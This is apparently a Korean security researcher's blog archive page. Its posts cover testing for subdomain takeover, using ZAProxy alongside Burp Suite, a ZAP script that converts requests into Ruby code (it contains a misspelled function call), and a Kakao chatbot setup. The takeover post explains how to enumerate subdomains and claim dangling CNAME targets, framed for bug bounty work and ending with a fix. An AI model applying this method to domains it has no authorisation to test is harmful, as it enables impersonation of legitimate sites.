6/26/2018

Subdomain Takeover 취약점에 대한 이야기(About Subdomain Takeover and How to test)

오늘은 Subdomain Takeover 취약점에 대한 이야기를 할까 합니다.
어느정도 자동화가 가능하면서도 버그바운티에서 돈을 타가는 사례가 있는지라 보안/버그바운티 목적에서 간간히 테스트가 필요할 것 같습니다.


그럼 시작합니다.

CNAME과 A 레코드

우선 취약점에 대한 설명 전 간략하게 CNAME, A레코드에 대해 알고가면 좋습니다. 직접 도메인 구매해서 사용하시는 분이라면.. 아주 익숙한 용어이겠네요.
우선 CNAME(Canonical Name)은 하나의 도메인에 다른 이름을 부여하는 방식으로 대체로 별칭이란 표현으로 많이 사용합니다.

예를들면..

noon.tistory.com => www.hahwul.com

이런식으로 CNAME을 지정하였을 경우 noon.tistory.com 에 접근 시 www.hahwul.com으로 인지하게 됩니다.

A Record 는 도메인에 각각 개별의 IP가 매핑된걸 의미합니다.

www.hahwul.com => 216.58.197.179
vaha.hahwul.com => 183.111.174.31

간단하죵?

What is Subdomain Takeover?

Subdomain takeover 취약점은 하위 도메인(CNAME)이 삭제된 서비스를 가리키고 있는 경우 공격자가 해당 주소를 재 선점해서 정상 도메인에 공격자의 서비스로 넘어가지도록 변조할 수 있습니다.
예를들어 test.takeover_test.domain 이란 주소가 호스팅 업체의 서비스를 받는 abcd.this_is_hosting_domain.com 을 가리키고 있다고 가정합시다.
(계정이 abcd..)

만약 dns는 유지하되 abcd 가 호스팅에서 탈퇴한 경우 test.takeover_test.domain 주소는 없는 도메인을 가리키게 되고, 요청 시 응답을 받지 못하는 상황이 발생합니다.
이때 공격자는 호스팅 업체의 탈퇴되었던 abcd 계정으로 신규 가입하여 abcd.this_is_hosting_domain.com로 할당받으면 동시에 test.takeover_test.domain 도메인의 제어권도 가지게됩니다.

호스팅 서비스 이외에도 github 페이지나, heroku 등 개별 유저의 권한으로 도메인을 생성할 수 있는 경우 대체로 공격에 사용될 수 있습니다.

아무튼, 취약한 domain을 찾고 이와 매핑되는 서비스의 제어권을 가진다면 쉽게 타겟 도메인의 주소를 단 악의적인 사이트를 만들어낼 수 있게 됩니다.

How to test?

1. Search subdomain
우선 subdomain에 대한 서치가 필요합니다. 도메인 리스트를 안다면 바로 다음 단계로 넘어가도 되겠지만, 아닌 경우 서브 도메인에 대한 수집이 필요해집니다.

보편적으론 subdomain에 대한 enumerate 툴, BruteForce 툴을 기반으로 리스트를 만들어가게 됩니다.

대표적으로 subover(https://github.com/Ice3man543/SubOver), subjack(https://github.com/haccer/subjack) 같은 툴들이 있으며 Metasploit의 모듈이나 직접 코드를 짜서 확보하셔도 좋습니다.

2. CNAME으로 Mapping 되는 사이트 주소 체크
host 명령 등으로 도메인에 대한 정보를 체크할 수 있습니다.

#> host vaha.hahwul.com
vaha.hahwul.com is an alias for hahwul.com.

보시면 vaha.hahwul.com은 hahwul.com과 같다고 이야기됩니다. (제가 그리 설정했으니..) 예시로는 동일 도메인이지만 만약 다른 서비스(git 같은거)의 주소로 별칭이 지정된 경우엔 해당 서비스 제어만으로 원본 주소의 제어권도 같이 얻어낼 수 있죠.
대체로 위에 subover 관련 툴들은 이 과정까지 대체로 포함되어 있습니다.

#> python takeover.py -d google.com -w subdomains-10000.txt  -t 10     
mail.google.com.  CNAME: googlemail.l.google.com.                  
m.google.com.  CNAME: mobile.l.google.com.                            
 CNAME: www.blogger.com.g : forum.google.com                                    
news.google.com.  CNAME: news.l.google.com.Scanning : mysql.google.com                                    
www3.l.google.com..  CNAME: Scanning : mobile.google.com                                    
  CNAME: mobile.l.google.com.sql.google.com                                    
calendar.google.com.  CNAME: www3.l.google.com.                  
web.google.com.  CNAME: www3.l.google.com.                      
images.google.com.  CNAME: images.l.google.com.              
email.google.com.  CNAME: gmail.google.com.                      
  CNAME: video.l.google.com.cdn.google.com          

이런식으로 매핑된 주소를 확인하면 됩니다.

다른 방법으로는 스크린샷을 이용해서도 체크할 수 있습니다. ruby나 python 모듈중에 스크린 캡쳐가 가능한 모듈이 있는데, 확인된 서브도메인에 요청하면서 페이지의 상태를 캡쳐로 남겨 404같이 에러 발생 페이지를 우선으로 체크하는 방법이 있습니다.
개인적으론 CNAME 체크가 빠르고 좋은 것 같네요.

3. 매핑된 사이트 선점
가장 중요한 부분인데요, 매핑된 사이트에 대해 주소를 재 선점할 수 있거나 해당 서버의 취약점을 이용해 도메인 세팅 권한을 얻어낼 수 있다면 Subdomain takeover가 완성됩니다.

Solution & Conclusion

대응은 ... 참 간단합니다.
안쓰는 도메인이나 서비스 제거 시 CNAME 쪽도 제거 처리를 같이 해주시면 됩니다.

조금 지난 취약점이지만, 최근까지도 버그바운티에서 나름 고가의 금액으로 리포팅되니 막아야하며, 잡아야할 취약점이라고 생각됩니다 :)
Share: | Coffee Me:

Git contribute 관련 정리(Pull reuqest 만들기)

메모차 글 작성합니다.

1. Fork git
github 사이트에서 Fork 합니다.

2. Create branch
개발을 위해서 신규 브런치를 생성합니다. 만들 목표(?)를 지정한다고 생각하면 어떨까..
#>  git checkout -b new-feature

3. Write Code
코드를 씁니다 .. 하하핳
#> vim blahblah.rb
a = Array.new
a.push 1,2,3,4,5

puts "BlahBlah"+a[2].to_s

4. Push to branch
다 작성했으면 아까만든 브런치에 올립니다.

#> git push origin new-feature

여기까지 하면 Fork된 본인의 Git에는 코드가 반영됩니다. 그러나 원본 Git에는 아직 변경 사항이 없으니, 아래 Pull request를 만들어서 원작자에게 코드를 전달해줍시다!

5. Create Pull Reuqest


Share: | Coffee Me:

6/25/2018

ZAProxy에 필요한 기능과 Burp suite 듀얼 체제로 느낀점 /웹 해킹/ZAProxy 적응기)

최근에 ZAProxy 관련글을 쭉 작성하고 있습니다. Burp + ZAProxy 구성으로 진단하는 것에 대해 테스트해보고 적응하는 단계였는데, 한 1~2주 지났을까요? 전보다 확실히 익숙해진 것 같습니다. 이젠 단독으로 ZAProxy 써도 크게 불편하진 않을 것 같네요.

오늘은 관련 글의 마지막 부분으로 앞으로 적용해야할 것들에 대한 이야기를 하려합니다.



오픈소스 툴치고 상용 프로그램과 크게 차이 안날 정도로 많은 기능을 지원하고 생각보다 편리해서 놀랬습니다. Burp suite 쓴 기간이 전체 해킹/보안 경력에서 90퍼 이상을 차지할만큼 압도적으로 많을텐데, ZAProxy를 써보고 새롭게 느낌점들과 ZAProxy를 앞으로도 활용하기 위해 중요한 것들이 몇가지 생각났습니다. 물론 주관적인거지만, 비슷한 고민을 하는 분들이 있다면 참고할 사항은 되지 않을까 싶네요 :)


앞으로 필요한 것들

이 부분에서 이야기드리는건 추가해서 git, zaproxy쪽으로 공개할 예정입니다. 쉽게 가능할 것 같은 부분부터 어떨지 판단이 안서는 부분이 있으니 기대는 안하시는게 정신 건강에 좋을듯합니다.

1. History Tab의 Column들..
사실 XSS 찾는데 있어서 중요하게 보는 부분 중 하나가 History tab 입니다. 여기서 포인트를 잡고 Repeater(Requester)로 규칙에 대해서 분석하게 되는데, 포인트를 잡는 과정에서 Burp보다 불편한 부분이 있었습니다.

첫번째로는 Content-Type(MIME)의 부재입니다. Reflected XSS는 대체로 text/html, 특히 callback function을 가지는 API 요청에선 빈번하게 발생하는데 Histor 탭에서 구별이 간다면 쉽게 걸러서 테스트 할 수 있죠. 아직 ZAProxy 에는 MIME를 볼 수 없습니다 ㅜㅜ

두번쨰로는 Reflected 된 파라미터에 대한 정보입니다. 이것도 XSS에서 우선적으로 필요한 부분이지만 포인트로 많이 걸러내게 되는 부분이라 중요하다고 생각됩니다. Burp suite에서도 기본적으론 제공해주지 않고 있어서 flow 같은 확장 기능으로 커버하게 됩니다.

위 2가지 사항은 확장 기능이나 Script 작성으로 해결이 가능한 부분입니다. 다만 Reflected Param은 데이터를 뽑아오기가 조금 어렵다고 하네요. (Zaproxy lead에 의하면..)

좋은 로직이 필요할 것 같습니다. 입력값과 같은 데이터가 페이지에 많을 가능성도 높고, 특수한 문자들을 붙여주었을 떄 비정상 동작하는 경우도 있을터이니, 타이트한 로직이 필요할 것 같네요.


2. Issue tab?
이건 Burp suite 쓸떄도 약간 고민이였던 부분인데, 찾은 취약점의 Raw data를 기록해두기가 조금 번거롭습니다. Burp suite에선 Repeater이 각 탭의 이름을 매겨서 남겨두긴 하는데, 이게 .... Repeater의 탭이 100개가 넘어가면 가독성이 현저히 떨어집니다..

그래서 별도의 탭? 으로 구성할 수 있으면 좋을 것 같단 생각을 했었는데요, 약간 머리 굴리면 Zaproxy에서 쉽게 가능할 것 같습니다.

저기다 넣고 써도 괜찮을 것 같아요 !


예를들면 위와 같이 Alert 탭을 이용해 구성할 수 있을 것 같습니다. 임의의 Alert 템플릿을 만들어놓고, Context menu로 우클릭해서 제가 지정한 템플릿에 집어넣을 수 있으면 쉽게 정리가 될 것 같습니다. 겸사겸사 Reporting 해주는 확장 기능도 있기 때문에 조합해서 .html , pdf 등으로 뽑아낼 수 있을 것 같구요.

Conclusion

필요한 것들은 위애 적었고.. 느낌점을 조금 공유할까 합니다. 두 툴을 동시에 사용해보니 확실히 취약점 분석에 대한 부분 자동화에 대한 욕구가 강해졌습니다. Burp로도 많은 부분이 가능하지만, 확장 기능을 통해 구현해야하기 때문에 좀 불편한 부분들이 있습니다. 이런면에서 ZAProxy는 생각한 것을 적용하기 쉽다는 이점이 있어 스크립트, 코드 추가로 필요한 기능들을 붙이기 쉬울 것 같단 생각이 들었고, 디버거 느낌으로 Proxy를 잡아서 보기 때문에 Flow 적인 분석에서 강하단 느낌을 받았습니다. 이는 Fiddler쪽 분석 봤을때도 비슷한 느낌이였었죠.

그리고.. 2개 동시에 쓰는 것에 대해 포스팅도 있었는데요...
PC 사양 어지간한거 아니면 못버팁니다. 그램은 포기했고 맥프로도 버거워하네요.

저처럼 써보실꺼면, 웹 브라우저 창을 적게 줄여 다른 리소스를 확보하던지, 2컴을 쓰시는게 건강에 이롭습니다. 아 물론.. 패시브/액티브 스캔이 문제니, 양쪽 툴 모두 적당히 성능 조정하면 부담 없습니다 :)

그럼 Burp , Zaproxy를 이용해서 즐거운 해킹되시길 :)
Share: | Coffee Me:

6/21/2018

ZAProxy shortcut key simple tip! (ZAP 단축키 사용 팁/웹 해킹/ZAProxy 적응기)

시간도 늦고 피곤해서 잘까하다가, 재빠르게 글 하나 쓰고 자려합니다.
오피스부터~전문 툴까지 세계인 모두 그렇지만 특히 한국인들은 단축키를 아주 좋아합니다. 

저 또한 손에 익기 시작하면 단축키 활용을 많이 하는 편인데요 오늘은 ZAProxy에서 단축키를 등록하는 법, 단축키 사용의 나름대로 꿀팁(그냥 제 생각..) 을 공유드릴까 합니다. 

단축키는 왜?

Burp suite 사용할때도 단축키에 대해서 고민 많이하고 잘 활용했었습니다. 최근에 ZAProxy를 동시에 사용하면서 ZAProxy 쪽에도 단축키 세팅을 했고, Burp 보다 조금 더 좋은점도 있었습니다. 

대다수 기능에 단축키를 지정할 수 있다가 ZAProxy 단축키 설정의 매력이 아닐까 싶네요. 


단축키 등록/수정(Add, modify shortcut key)

Setting > Keyboard에 들어가면 단축키 지정이 가능합니다. 단축키 규칙은 Ctrl, Alt, Shift, 영문자~숫자 정도까지 이며 조합하면 많은 기능을 담을 수 있습니다. 

기본적으로 Request/Response tab, 각종 기능들은 미리미리 단축키가 설정되어 있고 외워서 사용하시는 것도 좋은 방법입니다. 

꼼수(Tip!)

 그러나.. 저는 약간 다른 방법으로 사용하는데요, 약간 게임 스킬창과 같이 설정하고 사용합니다. 솔직히 Burp suite의 경우는 확장 기능에 따라 탭이 너무 많아서 영문자로(Reperater는 Ctrl+R 같이...) 처리했었는데, ZAProxy는 적절한 수의 탭과 History 영역이 분리되어서 게임처럼 지정하고 사용하는게 더 편했습니다. 


바로 이런식으로 탭 위치와 숫자를 매핑해서 사용하면 조금 편리합니다. Quick start는 안쓰기 때문에 제외하고, Reqest 부터 Break 까지 1~5로 지정하면 마치 게임하는 느낌을 줄 수 있고 손쓰기에도 편리합니다. 

다만 숫자키를 바로 주게되면 타이핑 치는데 큰 문제가 발생하니(숫자 입력을 못하죠) Ctrl, Alt 쪽 조합으로 구성하는게 좋습니다. 

저는 대략 이런식으로 구성했습니다.

Ctrl + 1 : Request Tab
Ctrl + 2 : Response Tab
Ctrl + 3 : Requester Tab
Ctrl + 4 : Script console Tab
Ctrl + 5 : Break Tab


이런식으로 구성하게 되면 Ctrl+1~5 조합으로 탭을 자유롭게 넘나들 수 있습니다. 아주 편리하죠.


ZAProxy shortcut key from 하훌 on Vimeo.
Share: | Coffee Me:

6/20/2018

ZAProxy에서 Code Generator (Request to Ruby) 구현하기((웹 해킹/ZAProxy 적응기)

ZAProxy와 Burp를 혼용해 쓰면서 불편한 점들을 찾고, 고쳐가고 있습니다. 오늘은 그 중 Code genertor에 대한 이야기를 할까 합니다.

Code Generator?

이름 그래도 코드를 생성해주는 기능입니다. 자주 애용하던 기능이라 불편함이 바로 찾아왔는데요, 바로 Code generator 입니다.

Burp suite에선 reissue request scripter 확장 기능으로 Request를 Python, Ruby, HTML 등 여러가지 언어 형태로 바로 변환할 수 있습니다.
(https://portswigger.net/bappstore/6e0b53d8c801471c9dc614a016d8a20d)

Burp suite에서도 확장 기능을 통해 해결된 부분이라 ZAProxy에서 찾아봤지만 확장 기능으로 따로 제공되진 않네요. 그래서 만들까 생각을 하던 중 ZAProxy에서 제공하는 Scripts 엔 없을까 하고 뒤져봤는데.... 이럴수가 유사한 기능을 찾았습니다.

CSRF Poc Genertor 인데요, 이 이야기인 즉슨 Request 데이터를 읽어와서 원하는 대로 파싱하고 문자열을 붙여서 기능을 만들 수 있다는 이야기가 되겠지요.

그래서 Scripts 작성을 통해 해결해봅니다.
(Request => HTML의 경우는 CSRF Poc 사용하면 될 듯 합니다. 전 Reuqest => Ruby로 작성해봅니다)

Write Code for generator

우선 Script 종류는 여러가지를 사용할 수 있습니다. 우선 ECMAScript(Javascript), Mozila Zest Script가 기본으로 탑재되어 있고 확장 기능 설치를 통해 Ruby, Python, Groovy 등 여러가지 언어에 대해 스크립팅을 할 수 있도록 추가가 가능합니다.
(관련해서 지난 포스팅에 유용한 확장 기능에 있었죠!)

Ruby로 짤까 고민했지만 JRuby는 그닥 땡기지 않기 떄문에 많이 사용하는 JS로 작성합니다. (사실 보안분석 때문에 JS가 더 익숙할지도...)
Request/Response, Requester 등 요청 정보가 있는 곳에서 우클릭 > 특정 메뉴 선택으로 코드를 생성하는 것을 생각했기 떄문에 Tageted type API인 invokeWith를 사용하면 조금 편합니다.

작성전에 몇가지만 체크합시다.

1. invokeWith를 통해 우클릭 시 해당 위치에 타겟팅(포커싱)된 요청 값을 msg 인자값으로 넘겨줍니다.
2. 우리는 msg 값을 이용해서 Method, URL 등을 가져올 수 있습니다.
3. 이 과정은...
 - Method : msg.getRequestHeader().getMethod()
 - Url : msg.getRequestHeader().getURI()
 - clipboard 제어 : java.awt.Toolkit.getDefaultToolkit().getSystemClipboard();
   => jruby 처럼 java 코드에 접근해서 가져오면 됩니다.

Add script 해서 하나 만들면 되요. 결과는 Clipboard 복사 및 Log에 찍힙니다.

Request to Ruby Generator Code

작성하는 과정을 하나하나 작성할 순 없으니.. 기본 동작만 하는 풀 코드로 올립니다.
GET/POST 구별 정도만 하고있고 JSON, Multipart는 코드 추가해야할 것 같네요.
손봐야할 부분이 많긴한데, 조만간 정리해서 git에 올려두도록 하겠습니다.

//You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
//Author : @hahwul

function invokeWith(msg) {
    
     var method = msg.getRequestHeader().getMethod();
     var url = msg.getRequestHeader().getURI().toString();

     code =        'require "net/http"\n';
     code = code + 'require "uri"\n';
     code = code + 'uri = URI.parse("'+url+'")\n';
     code = code + 'http = Net::HTTP.new(uri.host, uri.port)\n';
    
     if(method == "GET"){
        code = code + 'request = Net::HTTP::Get.new(uri.request_uri)\n';
     }
     else if(method == "POST"){
           code = code + 'request = Net::HTTP::Post.new(uri.request_uri)\n';
        body = msg.getRequestBody().toString();
        body = body.trim();
        if(isJson(body)){
           a=1;// JSON Proc
         }
        else{
            if(ismultipart(msg.getRequestHeader())){
              a=1;// Multipart Proc        
               }  
            else{
      body=body.split('&');
              code = code + 'request.set_form_data({';
      for(i=0;i<body.length;i++)
      {
          keyval = body[i].split('=');
        code = code + '"'+ decodeURIComponent(keyval[0]) + '" => ' + '"' + decodeURIComponetn(keyval[1]) + '",';
      }

            code = code + '"endendend"=>"endendend"}';
            }
        }
     }

     code = code + 'request["Accept"] = "*/*"\n';
     code = code + 'request["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0"\n';
     code = code + 'request["Connection"] = "close"\n';
     code = code + 'request["Accept-Language"] = "ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3"\n';
     code = code + 'request["Accept-Encoding"] = "gzip, deflate"\n';
     code = code + 'response = http.request(request)\n';
     code = code + 'puts "[$] Code: "+response.code\n';
     code = code + '#puts "[$] Response Body: "+response.body\n';
     code = code + '\n';

 print(code);
     selected = new java.awt.datatransfer.StringSelection(code);
     clipboard = java.awt.Toolkit.getDefaultToolkit().getSystemClipboard();
     clipboard.setContents(selected,null);
}

function isJson(str)
{
    try{
        JSON.parse(str);
    }
    catch(e){
        return false;
    }
        return true;
}

function ismultipart(header){
    type = header.getHeader(org.parosproxy.paros.network.HttpHeader.CONTENT_TYPE);
    if(type == null )
        return false;
    if(type.contains("multipart/form-data"))
            return true;
    return false;
}

Run!

Context menu > Request_to_ruby(이름 좀 잘 지을껄 그랬나..)

복사된 코드로 테스트해보면 잘 요청됩니다 :)

Share: | Coffee Me:

6/19/2018

Burp와 ZAProxy 동시에 사용하기(웹 해킹/ZAProxy 적응기)

최근 ZAProxy 사용에 대한 고민을 하고있다고 글을 통해 이야기드렸었습니다.
(https://www.hahwul.com/2018/06/owasp-zap-and-burp-suite.html)

래서 요즘 듀얼로 사용하면서 Burp와 ZAProxy의 차이점과 툴이 추구하는 방향? 등에 대해 뜻밖의 공부가 되고있는데요,
나름 긴 시간의 Burp suite 생활을 뒤로하고 ZAProxy를 사용해보면서 생겼던 고민과 해결에 대한 이야기로 당분간 글 작성할까 합니다.

밀린 글 몰아서 작성하는 감이 없잖아 있는데요, 우선 오늘은 취약점 분석 시 Burp와 ZAProxy를 동시에 사용하는 방법에 대해 이야기할까 합니다.

Why?

우선 두 툴의 성격 모두 분석을 위한 프록시 도구라는데 있어서 같은 포지션을 가집니다. 덕분에 동시에 돌리기엔 좀 애매하죠.
곰곰히 생각하다보니 한쪽 프록시에서 다른툴쪽 프록시로 데이터를 넘겨주면 양쪽다 로깅되면서 같이 볼 수 있지 않나 생각이 들었고 바로 실행에 옮겼습니다.

최종 그림만 보자면 이런 느낌이 되었죠. (모니터가 커야합니다..하핳)

왼쪽은 Burp / 오른쪽은 ZAProxy

Env

글의 이해를 돕기 위해 Proxy 환경 정보를 같이 올려둡니다.

Burp suite
 => 8080

ZAProxy
 => 8081


Burp의 데이터를 ZAProxy로 넘겨주자.

아주 다행히 두 툴 모두 Proxy를 통해 수집된 데이터를 다른 프록시 서버로 넘겨주는 기능을 지원합니다. 전 Burp => ZAProxy로 넘어가는 구조를 택했고, 이를 위해서 Burp suite에서 약간의 세팅이 필요했습니다.
Upstream Proxy servers를 이용하면 간단하게 적용이 가능합니다.

User options > Connections > Upstream Proxy Servers

위 경로로 접근 후 설정해줍니다. 내용은 대충... localhost의 8081(ZAProxy)로 넘겨주겠다는 이야기지요.


Destination host : *
Proxy host : localhost(127.0.0.1)
Proxy port : 8081(ZAProxy)

이렇게 되면 웹브라우저의 Proxy 설정으로 인해 Burp suite로 넘어가서 로깅하게 되고, 이 데이터가 다시 ZAProxy를 거쳐서 로깅 후 대상 서버로 넘어가게 됩니다.

Share: | Coffee Me:

6/18/2018

카카오 플친, 자동응답 API를 이용해 챗봇 개발하기!

VAHA 관련해서 좀 고민하다 보니, 재미있는게 생각나서 간단하게 개발해볼까 합니다.
카카오톡 플러스 친구와 자동응답 API를 이용해서 챗봇을 구성하는데, 정리도 할겸 글 남겨둡니다.

플러스 친구 생성

플러스친구 관리자 센터(https://center-pf.kakao.com) 접속 후 플러스 친구를 생성합니다. 이름, 검색용 닉네임? 이름? 정도만 기입하면 바로 생성이 가능합니다.


API(스마트 채팅)

플친을 구성하면 사용자에게 메시지를 전송하거나 쿠폰, 채팅 관련 등 여러가지 기능을 수행할 수 있습니다. 그 중에서 자동응답을 사용하기 위해선 스마트채팅 기능을 이용해야 합니다.

스마트 채팅에는.. FAQ형과 API 형이 있는데, FAQ는 말 그대로 미리 정해진 문자만 전달해주는 기능이기 때문에 빠르게 FAQ 같은 서비스를 구성할 순 있지만 동적인 컨텐츠 제공은 어렵습니다. API 형으로 구성해준 후 내용을 전달해주도록 합시다.

스마트 채팅 > API 형 접근 후 구성을 시작합니다. 서버의 API 경로만 넣어주시면 됩니다.


이제 서버에서 기본적으로 구성해야할 2가지만 정리하겠습니다.

1. Keyboard API
keyboard API는 초기에 봇과 채팅을 열었을 때  버튼으로 메시지를 전달해줄 수 있게 제공해줍니다. 이를 통해 사용할 API의 리스트를 구성할 수 있고 사용자는 별도로 명령을 외울 필요 없이 바로 사용할 수 있게 됩니다.

Request
curl -XGET 'https://:your_server_url/keyboard'

Response
{
    "type" : "buttons",
    "buttons" : ["Test1_Button", "퇴근하기", "종료"]
}


2. Message API
Message API는 사용자로 부터 명령(대화)을 받았을 때 처리하고, 그에 대한 결과를 다시 제공해주는 API 요청입니다.

Request
curl -XPOST 'https://:your_server_url/message' -d '{
  "user_key": "0987656789",
  "type": "text",
  "content": "Test1_Button"
}'

Response
{
    "message":{
        "text" : "Test1_Button"
    }
}

이런 형태로 구성됩니다. 적용 과정 중 하나 주의사항이 있다면 기본적으로 확장자가 없는 웹 환경에서 동작하기 때문에 라우팅 관련 모듈로 확장자를 매핑시켜주거나 Apache Rewrite 같은 모듈로 별도 매핑이 필요합니다.

전 php의 경우이며, .htaccess 파일 추가해서 매핑시켜줬습니다.

Options -MultiViews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^([^\.]+)$ $1.php [NC,L]

우선 확장자 없이 php 코드를 호출하기 위해 .htaccess를 설정해줍니다.

이정도만 해주면 요청에 따라 처리(이 부분은 직접 구현하셔욥)하고 결과를 전달해주는 환경으로 만들 수 있습니다. 추가적인 API 사용은 공식 git 참고해주시면 좋을 것 같네요.
https://github.com/plusfriend/auto_reply


<야호 잘된다!>
Share: | Coffee Me:

6/15/2018

Burp suite 중독자가 바라본 OWASP ZAP(Zed Attack Proxy). 이제부터 듀얼이다!

요즘 부쩍 툴에 대한 많은 깊은 고민이 생겼습니다. 어떤 툴을 쓰면 좋을지, 이참에 걍 하나 만들지... 한... 3년? 전쯤에도 같은 고민이 있었죠.
그때는 Burp suite에 올인하기로 마음을 잡았었습니다. 시간이 지난 요즘, 또다시 Burp suite에 대한 지겨움, 새로움을 갈구하는 마음에 여러 고민이 시작되었습니다.

예전에 어디선가 봤는데, 이런 말이 있었죠. 툴에 대해서 한가지만 고집하지 마라(?) 여러 툴을 사용하고 툴의 철학과 가치관을 이해하면 새로운 시각이 보인다? 뭐 이런 뉘양스였는데요.

어느정도 동감합니다. 그래서.... 오늘은 Burp suite의 영원한 라이벌 ZAProxy에 대한 이야기를 할까 합니다.


ZAP Proxy

뭐 툴에 대한 소개를 굳이 할 필요가 없을 것 같습니다. OWASP에서 진행하는 워낙 유명한 오픈소스 툴이며 깊진 않지만 웹 소켓 때문에 종종 쓰곤 했습니다.

그래서.. 요번에 나름 새로 알게된 사실들(뒷북)을 공유드리면, 구 시대의 유물쯤으로 여겨지는 Paros proxy 프로젝트에서 fork된 프로젝트란 것입니다.

(진심 이 내용 보고 소오오오름 돋았습니다 / 어쩐지 느낌이 비슷하드라)



개인적으로 생각하는 Burp suite와 ZAP Proxy의 차이점?

우선 전체적인 성능, 아니 분석가의 활용성 자체는 상용인(프로버전) Burp가 좋습니다. 돈이 들어갔으니 좀 더 신경썼을꺼라 생각하고 싶습...
잡담 집어치우고 개인적으로 생각하는 두 툴의 차이점을 정리해보죠.

우선 Burp suite는 프록시를 기반으로 테스팅하는데 포커싱이 많이 맞춰진 툴입니다. 덤으로  Active scan,  Passive scan의 성능, 그리고  collaborator 서버의 존재는 엄청난 위압감을 자랑하죠.
아마 많은 분석가들이 Burp suite를 사용할 것이고(프리~상용, 크랙까지) 저 또한 이 툴을 버리진 않습니다. 어찌되었던 현재 주력일 수 밖에 없습니다.

ZAP의 경우에는 Spidering 쪽이 좋다고 판단되는 스캐닝 기반의 툴로 보시는게 좋을 것 같습니다. 첫 UI부터 URL 하나 넣을 수 있고 바로 크롤링과 스캐닝을 진행할 수 있도록 되어있다죠.

그리고 오픈소스이기에 라이센스 가격적인 문제에서 이점이 있다고 봅니다. 물론 Burp suite 자체가 말도 안되게 비싼건 아니지만(솔직히 프로버전 구매가로 버그바운티 하면 충분히 본전뽑고 남겠쬬) 돈이 들어가냐 안들어가냐는 매우 큽니다. 또한 API 지원이 자유로운 편이라 관련 서브 툴들이 많이 나오고 있고 만들기도 쉽습니다. (대표적으론 cli 기반 zap 이나 자동 스캐너 등등)


나눠쓰긴했지만 둘 다 Proxy, Scanning이 베이스가 되는 훌륭한 툴입니다.

ZAP은 Burp처럼 쓸 수 없을까?

가장 먼저 한 고민은 바로 소제목과 같이 Burp 처럼 사용할 수 있을까란 고민입니다. 단축키 부터 UI, 툴이 추구하는 방향까지 완전히 최적화 되었는데 다른 툴의 비중을 늘린다는 건 좀 어려운일이긴하죠.
그래서 .. Burp의 장점들을 Zap에 적용할 수 있는지가 가장 궁금했습니다.

우선 Repeater의 부재가 가장 큽니다. 전 대체로 History*Flow + Repeater 기반으로 분석을 많이 하는데, 여기서 가장 핵심은 Repeater입니다. 반복해서 내용을 수정하고 결과를 확인할 수 있기 때문에 서비스의 로직이나 필터링 규칙을 파악하는데 있어 이만한 기능이 없습니다.

어찌되었던 자동화 테스팅의 결과는 누구나, 많은 사람들이, 기업에선 이미.. 테스트했을 것이기 떄문에 수동, 즉 장인정신으로 한땀한땀 분석하는게 결과를 얻어가기 좋다고 생각합니다.

그런 면에 있어선 Repeater는 굉장한 기능이죠. 아래에서 한번 더 이야기 드리겠지만 Repeater의 완전한 대체는 어렵습니다. 다만 확장 기능을 통해 어느정도 커버가 가능하다고 생각됩니다.

자세한 이야기는 아래 Extension 부분에서 한번 더 이야기하도록 하겠습니다.

두번째는 익숙한 분석 흐름입니다. 프록시를 기반으로 웹 사이트를 돌아다니며 데이터를 수집하고 이를 기반으로 취약점을 분석하는데 익숙해져있는데, 대게 ZAP의 설명 글이나 튜토리얼을 보면 스캔에서 시작합니다.
개인적으로 스캔은 Burp가 최강이라고 봅니다. 아무튼 다시 본론으로 와서 ZAP에서도 프록시를 기반으로 볼 수 있을까란 생각이 있었는데, 당연히 가능합니다. 프록시 툴이니깐요...

다만 History 탭에 대해 좀 더 익숙해지고, 확장 기능 개발이나 다운로드로 개선이 필요하긴 합니다. 분석가의 눈에는 불편한점들이 보입니다.

Burp sutie 중독자에게 꼭 필요한 ZAP Extension

저는 Burp suite 중독자입니다. 되도록 모든 취약점 분석을 한군데로 몰아서 하고싶어하고, 이에 Burp의 확장 기능은 엄청난 효과를 줍니다,
(최근 Frida&Burpsuite 인 Brida 도 대 환영입니다. 언능 정리좀 해야하느데...시간이 안나네요 ㅜ)

1. Requester

Repeater의 대안입니다. History나 결과 페이지 등 요청을 반복으로 전송하며 테스트할 수 있는 기능이며 Repeater와 거의 흡사합니다. 단축키도 Ctrl+W로 데이터를 넘기며 익숙해지면 Burp Repeater 쓰는 느낌으로 사용해 볼 수 있을듯합니다.


2. Call Graph

Extension list 보다가 우연히 설치한건데, 아주 좋은 도구여서 추가해봤습니다. 웹 사이트의 요청 순서(?) 를 흐름도로 볼 수 있는데, 금융서비스 같이 Flow가 중점적으로 분석하는 경우나 요청에 따라 많은 경우의 수, 흐름이 발생할 떄 참고하기 좋을 것 같습니다.


3. Ruby scripting(주로 쓰는 언어별 스크립팅 도구)

이건 어딜가나 필수입니다. 자신의 주력 언어를 이용한 스크립팅 도구는 무조건 세팅하시는게 좋습니다. Burp suite나 ZAP 모두 Java base 이기 때문에 Java를 다루면 가자 좋겠지만, 아닌 경우 Ruby, Python 등으로 대체가 가능합니다.
(물론... Jruby, Jython 처럼 결국은 자바를 해야하지만요...)

잘 보면 언어별 스크립팅들이 보입니다!

다만 ZAP에서의 스크립팅 도구는 약간 다릅니다. Fiddler의 스크립팅과 유사하다고 보시는게 좋을 것 같습니다.

Conclusion

별 내용 아닌걸로 글 하나가 나왔습니다. 물론 Burp => ZAP 으로 메인 툴을 변경하는건 아니지만 듀얼 체제로 동시에 사용해볼 생각입니다.

사실 걍 찾아보기 귀찮아서 간단하게 코드로 짜고있었는데 exception 처리랑 버그 잡을 생각 하니깐 프록시랑 UI 구현에서 마음이 닫혔습니다. (a2sv도 수정해달란 내용이 산더미..핳)

장담컨테, 여러 툴을 써보는건 정말 좋은 선택입니다. 저처럼 Burp 중독자이신 분들, 꼭 한번 ZAP 써보시길 바랍니다. 혹시나 알까요 또 다른 관점이 생길지 :)

Share: | Coffee Me:

6/11/2018

Firefox XSS with Context menu(+css payload..)

주말 밤 트위터를 통해 재미난게 있나 구경하던 도중 익숙한 구문이 리트윗 되는 광경을 목격했습니다.
관련해서 링크 읽어보니 재미있는 상황이더군요. (https://leucosite.com/Firefox-uXSS-and-CSS-XSS/)

